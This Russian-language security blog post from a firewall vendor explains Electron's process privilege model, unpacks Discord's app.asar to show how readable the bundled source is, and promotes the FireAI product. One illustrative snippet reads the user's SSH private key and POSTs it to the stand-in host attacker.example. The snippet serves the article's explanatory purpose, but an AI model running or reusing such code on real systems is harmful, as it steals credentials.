Блог о безопасности FireAI

Автор FireAI Security & Research Team · Опубликовано

Что на самом деле внутри ваших Electron-приложений? Мы распаковали одно, чтобы узнать

Что на самом деле внутри ваших Electron-приложений? Мы распаковали одно, чтобы узнать

Electron сочетает движок рендеринга Chromium с рантаймом Node.js, чтобы одна и та же кодовая база на JavaScript могла поставляться как настольное приложение под macOS, Windows и Linux. Так устроены Slack, Discord, Notion и многие другие, а долгие годы так же был устроен и Microsoft Teams. Удобство здесь настоящее. Но настоящим оказывается и следствие, которое стоит понимать: Electron-приложение — это не один процесс с одним уровнем привилегий, а его встроенный исходный код прочитать совсем не трудно.

Два процесса, два уровня привилегий

У каждого Electron-приложения есть главный процесс (Main), который запускает полноценный Node.js с обычным для ОС доступом к файлам и сети, и один или несколько процессов-рендереров, которые отображают веб-контент в контексте Chromium. Собственная документация Electron по безопасности прямо говорит о риске размывания этой границы: «Крайне важно не включать интеграцию Node.js ни в одном рендерере, загружающем удалённый контент», — потому что это убирает барьер между веб-страницей и операционной системой. Предлагаемое решение — не «довериться контенту вместо этого», а архитектурное: держать доступ к Node вне рендерера и предоставлять ему только намеренно узкий API через preload-скрипт и API contextBridge, при включённой изоляции контекста.

Иллюстрация: что может сделать интеграция Node в скомпрометированном рендерере
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

Архив — не секрет: распаковываем настоящее приложение

Большинство Electron-приложений поставляют свой JavaScript и HTML внутри файла app.asar. Собственная документация Electron прямо говорит, для чего нужен этот формат: «архивы доступны только для чтения», а упаковка в один файл призвана «скрыть исходный код от поверхностного осмотра» — это её собственная формулировка, а не сторонняя оценка, — при этом в другом месте прямо указано, что ASAR не обеспечивает шифрования. Чтобы проверить, что это значит на практике, мы распаковали настоящую, реально установленную на этой машине копию Discord для macOS (сборка 0.0.294), воспользовавшись официальным упаковщиком, который поддерживает сам Electron.

Терминал
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Одна команда выдала 1056 обычных файлов: читаемый JavaScript, package.json и собственную структуру модулей Discord — ровно так, как и обещает документация Electron. Никакой декомпиляции, никакого реверс-инжиниринга, никакого пароля. Это не изъян Discord — так формат ASAR по замыслу работает для любого Electron-приложения.

Что реальная распаковка показывает о сетевом поведении

Когда исходный код доступен как обычный текст, и проверка безопасности, и поиск становятся тривиальными. Мы искали в распакованных файлах две вещи: какие именно webPreferences реально задаёт Discord и какие имена хостов встречаются в его собственном коде (исключая сторонние node_modules).

Терминал, результаты по реальному распакованному архиву выше
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Отдавая должное конкретному проверенному приложению: окно заставки Discord в точности следует рекомендациям Electron по усилению защиты — nodeIntegration: false и contextIsolation: true. Об этом стоит сказать прямо, а не обойти молчанием. Смысл здесь не в том, что Discord небезопасен, а в том, что мы смогли проверить это за минуты — как и любое Electron-приложение, — потому что формат архива ничего не скрывает. Большинство людей, устанавливающих Electron-приложение, никогда туда не заглядывают, и большинство статических инструментов для конечных точек тоже.

Почему файрвол, доверяющий бинарным файлам, здесь не поможет

Ни один из перечисленных выше хостов не секретен и не удивителен для чат-приложения, и именно в этом проблема защиты на уровне сети. Файрвол, принимающий решение по цифровой подписи кода, видит только одно: нотаризованный, подписанный Apple бинарный файл делает обычные HTTPS-запросы на порт 443. У него нет способа отличить друг от друга легитимный вызов API, встроенный SDK аналитики и, в случае реально скомпрометированного рендерера, попытку утечки данных. Все три выглядят как один и тот же доверенный процесс, обращающийся в интернет, — потому что это действительно один и тот же процесс.

  • Оценка Electron-приложения по цифровой подписи кода ничего не говорит о том, какая из множества встроенных зависимостей устанавливает какие соединения.
  • Поскольку исходный код — это обычный JavaScript в незашифрованном архиве, аудит того, куда может достучаться приложение, реален, а не теоретичен, для любого, кто готов запустить asar extract.
  • Единственный контроль, не зависящий от доверия к бинарному файлу, — это сетевая политика для каждого процесса и каждого адресата отдельно: решение на уровне сокета о том, куда конкретному приложению разрешено обращаться.

Какое место здесь занимают FireAI и HisnLabs

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI — это собственный продукт HisnLabs: ИИ-файрвол, работающий прямо на вашем Mac. Он показывает простым языком каждое соединение, которое устанавливают ваши приложения, и позволяет вам решать, что покидает ваш Mac, — его ИИ работает локально, поэтому ваш трафик никогда не отправляется ни нам, ни кому-либо ещё. Команда исследователей безопасности HisnLabs — это те, кто поддерживает точность этих решений: они каталогизируют, какие домены являются обычной телеметрией, а какие — реальным сервисом, отслеживают страну и сеть, стоящие за соединением, и обучают локальную модель (функцию Autopilot) на реальных шаблонах трафика — и ничего из этого не покидает ваш Mac.

Вы можете прочитать о технических решениях, лежащих в его основе, или попробовать FireAI в течение 17 дней на странице FireAI от HisnLabs.

Источники